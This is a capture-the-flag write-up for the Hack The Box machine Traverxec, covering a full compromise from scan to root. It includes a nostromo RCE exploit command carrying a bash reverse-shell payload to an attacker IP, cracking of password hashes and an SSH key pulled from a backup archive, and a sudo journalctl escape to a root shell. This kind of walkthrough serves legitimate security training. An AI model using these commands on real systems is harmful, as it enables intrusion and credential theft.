HTB Writeup - Traverxec
Enumeration
As usual, we start with an nmap
scan to get a listing of open ports and running services using:
sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target
The result we get is pretty typical of a Linux web server; port 22 for remote administration via SSH and port 80 for hosting the web server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: TRAVERXEC
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Before looking at the site, start up burpsuite
to capture all requests as you interact with the site.
The web site looks like a static web app, wappalyzer
wasn’t able to fingerprint the technology. Going to /index.html
gives a 200 status code and is the page served by going to /
as well. In burpsuite
, the Server
header from the initial GET request reveals that it is being served by nostromo 1.9.6
, which is a supposedly secure web server.
In the background, I kicked off some directory busting using feroxbuster
to see if there are any interesting goodies being served by the web server:
feroxbuster -u http://$target/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Exploiting nostromo 1.9.6
Given it’s a very specific version of the web server, it’s not hard to find PoC exploit code on GitHub. For example, https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE
We can execute a payload like this to get a reverse shell:
python3 CVE-2019-16278.py -t $target -p 80 -c "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.54/4444 0>&1'"
b'HTTP/1.1 200 OK\r\nDate: Thu, 05 Sep 2024 00:07:12 GMT\r\nServer: nostromo 1.9.6\r\nConnection: close\r\n\r\n\r\n'
b''
And receive it using nc
rlwrap nc -lnvp 4444
We end up with a shell on the host as the www-data
.
Escalation to david
Looking around on the host as the www-data
user, we can see a user called david
in the /home
directory. We cannot read his files yet. However, as the www-data
user we can navigate to /var/nostromo/conf and see a listing of interesting config files:
www-data@traverxec:/var/nostromo/conf# ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 2019 .
drwxr-xr-x 6 root root 4096 Oct 25 2019 ..
-rw-r--r-- 1 root bin 41 Oct 25 2019 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 2019 mimes
-rw-r--r-- 1 root bin 498 Oct 25 2019 nhttpd.conf
There is a hash for the david
account in the .htpasswd
file which we can take locally and crack with hashcat:
hashcat -O david_hash_htpasswd /usr/share/wordlists/rockyou.txt
However, this password does not let us log in as david
via SSH. We still have more work to do. We now take a look at the nttpd.conf file:
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin [email protected]
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
There’s this weird bit at the bottom about homedirs
. After reading through the nostromo
docs regarding homedirs
, https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=NHTTPD#HOMEDIRS it turns out there is a weird feature where it serves a directory out of the user’s home directories. I’m not sure why this is a feature. It seems like the risks would outweigh the benefits for a rather niche requirement; it would be far to easy to misconfigure something like this and expose sensitive data.
Regardless of my bias towards the feature, there is evidence of a directory in each user’s home folder called public_www
. We can try a cd
direct to the folder:
www-data@traverxec:/var/nostromo/conf# cd /home/david/public_www
www-data@traverxec:/home/david/public_www# ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25 2019 .
drwx--x--x 5 david david 4096 Oct 25 2019 ..
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area
We can actually access this directory as the www-data
user which allows us to now see the david
users “public” files. Inside the protected folder, we can find a .tgz
file which we can inflate and pull out an id_rsa
which we can subsequently use to log in as the user:
www-data@traverxec:/tmp# cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz .
www-data@traverxec:/tmp# gunzip backup-ssh-identity-files.tgz
www-data@traverxec:/tmp# tar -xvf backup-ssh-identity-files.tar
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
Before being able to use the id_rsa
, we must first crack the password for it. This is a two-part process. The first part is to use ssh2john
to get the hash of the id_rsa
password out into a crackable format:
ssh2john id_rsa > id_rsa_hash
Now we can crack it with hashcat
using:
hashcat --username -O id_rsa_hash /usr/share/wordlists/rockyou.txt
I use the latest version of hashcat
which can auto-detect the hash type so I don’t select the mode. If you’re running an older version, you’ll need to pass the -m
switch with the correct mode, or try and cook your CPU using john
.
Escalation to root
As the david
user on the host, it is possible to look directly in the user’s home directory. There is immediately a bin
directory that stands out because usually binaries are installed elsewhere on a Linux system.
Inside the directory, we find a script, server-stats.sh
:
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The first thing I noticed was the unqualified cat
command at the start, but unless a cron
job is running this script with elevated privileges, and we could write a new cat
that could be executed, it’s not very helpful to us. The next thing to notice is that the user david
can run journalctl
as root. This has a sudo
exploit for it listed in GTFOBins, https://gtfobins.github.io/gtfobins/journalctl/
We can abuse this just by running:
/usr/bin/sudo /usr/bin/journalctl
And once we are in a less
like state with pagination, we can type !/bin/bash
and we get a shell as root
.